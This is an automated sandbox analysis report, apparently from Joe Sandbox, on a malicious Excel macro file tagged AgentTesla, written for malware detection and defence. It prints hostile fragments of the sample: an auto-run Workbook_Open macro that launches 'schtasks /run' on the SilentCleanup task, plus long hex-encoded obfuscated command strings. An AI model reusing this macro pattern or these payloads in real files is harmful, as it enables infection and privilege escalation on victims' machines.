Analysis Report Marine Tiger.xlsm

Overview

General Information

Sample Name:	Marine Tiger.xlsm
Analysis ID:	349782
MD5:	18d6c58d438aa199c43cec6503ae2a6c
SHA1:	f2dbad3686195f07db9bac1aa7eba45120069ded
SHA256:	6c92ed33934d5a604f57aac4ff33252720354285291791bed88b6f3f15b9631d
Tags:	AgentTeslaexexlsm
Most interesting Screenshot:

Detection

Score:	80
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for submitted file

Document contains an embedded VBA macro which may execute processes

Document contains an embedded VBA macro with suspicious strings

Document contains an embedded VBA with functions possibly related to WSH operations (process, registry, environment, or keystrokes)

Document contains an embedded VBA with hexadecimal encoded strings

Document exploit detected (process start blacklist hit)

Machine Learning detection for sample

Sigma detected: Microsoft Office Product Spawning Windows Shell

Uses schtasks.exe or at.exe to add and modify task schedules

Creates a process in suspended mode (likely to inject code)

Document contains an embedded VBA macro which executes code when the document is opened / closed

Document contains embedded VBA macros

Sample execution stops while process was sleeping (likely an evasion)

Classification

Signatures

AV Detection:

Multi AV Scanner detection for submitted file

Source: Marine Tiger.xlsm	Virustotal: Detection: 40%			Perma Link
Source: Marine Tiger.xlsm	ReversingLabs: Detection: 29%

Machine Learning detection for sample

Source: Marine Tiger.xlsm

Joe Sandbox ML: detected

Compliance:

Uses new MSVCR Dlls

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE

File opened: C:\Windows\SysWOW64\MSVCR100.dll

Jump to behavior

Software Vulnerabilities:

Document exploit detected (process start blacklist hit)

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE

Process created: C:\Windows\SysWOW64\cmd.exe

Jump to behavior

Networking:

Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: http://olkflt.edog.officeapps.live.com/olkflt/outlookflighting.svc/api/glides
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: http://weather.service.msn.com/data.aspx
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://analysis.windows.net/powerbi/api
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://apc.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://api.aadrm.com/
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://api.addins.omex.office.net/appinfo/query
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://api.addins.omex.office.net/appstate/query
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://api.cortana.ai
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://api.diagnostics.office.com
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://api.diagnosticssdf.office.com
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://api.microsoftstream.com/api/
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://api.office.net
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://api.onedrive.com
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://api.powerbi.com/beta/myorg/imports
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://api.powerbi.com/v1.0/myorg/datasets
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://api.powerbi.com/v1.0/myorg/groups
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://apis.live.net/v5.0/
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://arc.msn.com/v4/api/selection
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://asgsmsproxyapi.azurewebsites.net/
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://augloop.office.com
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://augloop.office.com/v2
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://autodiscover-s.outlook.com/
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://autodiscover-s.outlook.com/autodiscover/autodiscover.xml
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://cdn.entity.
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://cdn.odc.officeapps.live.com/odc/stat/images/OneDriveUpsell.png
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://cdn.odc.officeapps.live.com/odc/xml?resource=OneDriveSignUpUpsell
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://cdn.odc.officeapps.live.com/odc/xml?resource=OneDriveSyncClientUpsell
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://client-office365-tas.msedge.net/ab
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://clients.config.office.net/
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://clients.config.office.net/user/v1.0/android/policies
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://clients.config.office.net/user/v1.0/ios
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://clients.config.office.net/user/v1.0/mac
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://clients.config.office.net/user/v1.0/tenantassociationkey
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://cloudfiles.onenote.com/upload.aspx
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://config.edge.skype.com
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://config.edge.skype.com/config/v1/Office
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://config.edge.skype.com/config/v2/Office
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://cortana.ai
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://cortana.ai/api
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://cr.office.com
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://dataservice.o365filtering.com
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://dataservice.o365filtering.com/
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://dataservice.o365filtering.com/PolicySync/PolicySync.svc/SyncFile
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://dataservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFile
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://dataservice.protection.outlook.com/PsorWebService/v1/ClientSyncFile/MipPolicies
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://dev.cortana.ai
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://dev.virtualearth.net/REST/V1/GeospatialEndpoint/
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://dev0-api.acompli.net/autodetect
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://devnull.onenote.com
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://directory.services.
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://ecs.office.com/config/v2/Office
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://entitlement.diagnostics.office.com
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://entitlement.diagnosticssdf.office.com
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://eur.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://excel.uservoice.com/forums/304936-excel-for-mobile-devices-tablets-phones-android
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://globaldisco.crm.dynamics.com
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://graph.ppe.windows.net
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://graph.ppe.windows.net/
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://graph.windows.net
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://graph.windows.net/
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/api/telemetry
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/browse?
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/browse?cp=remix3d
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=icons&premium=1
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=stockimages&premium=1
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=stockvideos&premium=1
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsofticon?
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://incidents.diagnostics.office.com
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://incidents.diagnosticssdf.office.com
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://insertmedia.bing.office.net/images/hosted?host=office&adlt=strict&hostType=Immersive
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Bing
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=ClipArt
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Facebook
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Flickr
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=OneDrive
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://insertmedia.bing.office.net/odc/insertmedia
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://learningtools.onenote.com/learningtoolsapi/v2.0/GetFreeformSpeech
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://lifecycle.office.com
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://login.microsoftonline.com/
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://login.windows-ppe.net/common/oauth2/authorize
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://login.windows.local
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://login.windows.net/72f988bf-86f1-41af-91ab-2d7cd011db47/oauth2/authorize
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://login.windows.net/common/oauth2/authorize
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://loki.delve.office.com/api/v1/configuration/officewin32/
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://lookup.onenote.com/lookup/geolocation/v1
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://management.azure.com
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://management.azure.com/
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://messaging.office.com/
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://na01.oscs.protection.outlook.com/api/SafeLinksApi/GetPolicy
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://nam.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://ncus-000.contentsync.
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://ncus-000.pagecontentsync.
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://o365auditrealtimeingestion.manage.office.com
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://o365auditrealtimeingestion.manage.office.com/api/userauditrecord
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://o365diagnosticsppe-web.cloudapp.net
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://ocos-office365-s2s.msedge.net/ab
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://ofcrecsvcapi-int.azurewebsites.net/
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://officeapps.live.com
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://officeci.azurewebsites.net/api/
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://officemobile.uservoice.com/forums/929800-office-app-ios-and-ipad-asks
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://officesetup.getmicrosoftkey.com
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://ogma.osi.office.net/TradukoApi/api/v1.0/
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://omex.cdn.office.net/addinclassifier/officeentities
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://omex.cdn.office.net/addinclassifier/officeentitiesupdated
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://onedrive.live.com
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://onedrive.live.com/about/download/?windows10SyncClientInstalled=false
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://onedrive.live.com/embed?
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://outlook.office.com/
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://outlook.office.com/autosuggest/api/v1/init?cvid=
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://outlook.office365.com/
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://outlook.office365.com/api/v1.0/me/Activities
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://outlook.office365.com/autodiscover/autodiscover.json
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://ovisualuiapp.azurewebsites.net/pbiagave/
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://partnerservices.getmicrosoftkey.com/PartnerProvisioning.svc/v1/subscriptions
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://pf.directory.live.com/profile/mine/System.ShortCircuitProfile.json
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://pf.directory.live.com/profile/mine/WLX.Profiles.IC.json
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://portal.office.com/account/?ref=ClientMeControl
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://posarprodcssservice.accesscontrol.windows.net/v2/OAuth2-13
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://powerlift-frontdesk.acompli.net
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://powerlift.acompli.net
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://powerpoint.uservoice.com/forums/288952-powerpoint-for-ipad-iphone-ios
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://prod-global-autodetect.acompli.net/autodetect
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://r4.res.office365.com/footprintconfig/v1.7/scripts/fpconfig.json
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://res.getmicrosoftkey.com/api/redemptionevents
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://rpsticket.partnerservices.getmicrosoftkey.com
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://settings.outlook.com
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://shell.suite.office.com:1443
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://skyapi.live.net/Activity/
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://sr.outlook.office.net/ws/speech/recognize/assistant/work
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://staging.cortana.ai
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://storage.live.com/clientlogs/uploadlocation
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://store.office.cn/addinstemplate
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://store.office.com/?productgroup=Outlook
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://store.office.com/addinstemplate
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://store.office.de/addinstemplate
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://store.officeppe.com/addinstemplate
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://syncservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFile
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://tasks.office.com
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://templatelogging.office.com/client/log
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://uci.officeapps.live.com/OfficeInsights/web/views/insights.desktop.html
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://uci.officeapps.live.com/OfficeInsights/web/views/insights.immersive.html
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://visio.uservoice.com/forums/368202-visio-on-devices
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://web.microsoftstream.com/video/
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://webdir.online.lync.com/autodiscover/autodiscoverservice.svc/root/
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://webshell.suite.office.com
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://word.uservoice.com/forums/304948-word-for-ipad-iphone-ios
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://wus2-000.contentsync.
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://wus2-000.pagecontentsync.
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://www.bingapis.com/api/v7/urlpreview/search?appid=E93048236FE27D972F67C5AF722136866DF65FA2
Source: E0EFE241-5146-4D5E-B9A0-B1624BA1283F.0.dr	String found in binary or memory: https://www.odwebp.svc.ms

System Summary:

Document contains an embedded VBA macro which may execute processes

Source: VBA code instrumentation

OLE, VBA macro: Module ThisWorkbook, Function Workbook_Open, API IWshShell3.Run("cmd /c schtasks /run /tn \Microsoft\Windows\DiskCleanup\SilentCleanup /I")

Name: Workbook_Open

Document contains an embedded VBA macro with suspicious strings

Source: Marine Tiger.xlsm	OLE, VBA macro line: Set ghhfgfgdsfas = CreateObject("WScript.Shell")
Source: Marine Tiger.xlsm	OLE, VBA macro line: Set ghhfgfgdsfas = CreateObject("WScript.Shell")
Source: Marine Tiger.xlsm	OLE, VBA macro line: Set ghhfgfgdsfas = CreateObject("WScript.Shell")
Source: VBA code instrumentation	OLE, VBA macro: Module ThisWorkbook, Function Workbook_Open, String wscript: Set ghhfgfgdsfas = CreateObject("WScript.Shell")	Name: Workbook_Open
Source: VBA code instrumentation	OLE, VBA macro: Module ThisWorkbook, Function Workbook_Open, String wscript: Set ghhfgfgdsfas = CreateObject("WScript.Shell")	Name: Workbook_Open
Source: VBA code instrumentation	OLE, VBA macro: Module ThisWorkbook, Function Workbook_Open, String wscript: Set ghhfgfgdsfas = CreateObject("WScript.Shell")	Name: Workbook_Open

Document contains an embedded VBA with functions possibly related to WSH operations (process, registry, environment, or keystrokes)

Source: Marine Tiger.xlsm

Stream path 'VBA/ThisWorkbook' : found possibly 'WScript.Shell' functions regdelete, regwrite, run

Document contains an embedded VBA with hexadecimal encoded strings

Source: Marine Tiger.xlsm	Stream path 'VBA/ThisWorkbook' : found hex strings
Source: VBA code instrumentation	OLE, VBA macro: Module ThisWorkbook, Function Workbook_Open, String 545751656B4F615E5E515A606B615F515E68517A82757E7B7A79717A806883757A70757E
Source: VBA code instrumentation	OLE, VBA macro: Module ThisWorkbook, Function Workbook_Open, String 6F79702C3B6F2C7C6A7B83717E7F746A71786A782C39832C3D2C4D707039597C5C7E7172717E717A6F712C3951846F78817F757B7A5C6D80742C2E30717A82466D7C7C706D806D2E475F806D7E80395F7871717C2C3D3E472C345A7183395B6E76716F802C5A71803A63716E4F7875717A80353A507B837A787B6D705275787134337480807C463B3B817A75807E6D7A7F74757C3A757A3B7C63725F417F5955457763757E51573A71847133383430717A82466D7C7C706D806D35373368607D5A6F4F3A6E6D803335475F806D7E80395F7871717C2C3E472C5F806D7E80395C7E7B6F717F7F2C30717A82466D7C7C706D806D68607D5A6F4F3A6E6D8047325E51592C33
Source: VBA code instrumentation	OLE, VBA macro: Module ThisWorkbook, Function Workbook_Open, String 6F79702C3B6F2C7F6F74806D7F777F2C3B7E817A2C3B807A2C6859756F7E7B7F7B72806863757A707B837F6850757F774F78716D7A817C685F7578717A804F78716D7A817C2C3B55
Source: VBA code instrumentation	OLE, VBA macro: Module ThisWorkbook, Function Workbook_Open, String 545751656B4F615E5E515A606B615F515E68517A82757E7B7A79717A806883757A70757E

Document contains an embedded VBA macro which executes code when the document is opened / closed

Source: Marine Tiger.xlsm	OLE, VBA macro line: Public Sub Workbook_Open()
Source: VBA code instrumentation	OLE, VBA macro: Module ThisWorkbook, Function Workbook_Open			Name: Workbook_Open

Document contains embedded VBA macros

Source: Marine Tiger.xlsm

OLE indicator, VBA macros: true

Source: classification engine

Classification label: mal80.expl.winXLSM@6/2@0/0

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Microsoft\Office\16.0\WebServiceCache

Jump to behavior

Source: C:\Windows\System32\conhost.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1380:120:WilError_01

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Temp\{71BC67F4-840E-4745-856A-494696798178} - OProcSessId.dat

Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE

File read: C:\Users\desktop.ini

Jump to behavior

Source: Marine Tiger.xlsm	Virustotal: Detection: 40%
Source: Marine Tiger.xlsm	ReversingLabs: Detection: 29%

Source: unknown	Process created: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE 'C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE' /automation -Embedding
Source: unknown	Process created: C:\Windows\SysWOW64\cmd.exe 'C:\Windows\System32\cmd.exe' /c schtasks /run /tn \Microsoft\Windows\DiskCleanup\SilentCleanup /I
Source: unknown	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /run /tn \Microsoft\Windows\DiskCleanup\SilentCleanup /I
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process created: C:\Windows\SysWOW64\cmd.exe 'C:\Windows\System32\cmd.exe' /c schtasks /run /tn \Microsoft\Windows\DiskCleanup\SilentCleanup /I	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /run /tn \Microsoft\Windows\DiskCleanup\SilentCleanup /I	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\LanguageResources\EnabledEditingLanguages

Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE

File opened: C:\Windows\SysWOW64\MSVCR100.dll

Jump to behavior

Boot Survival:

Uses schtasks.exe or at.exe to add and modify task schedules

Source: unknown

Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /run /tn \Microsoft\Windows\DiskCleanup\SilentCleanup /I

Hooking and other Techniques for Hiding and Protection:

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
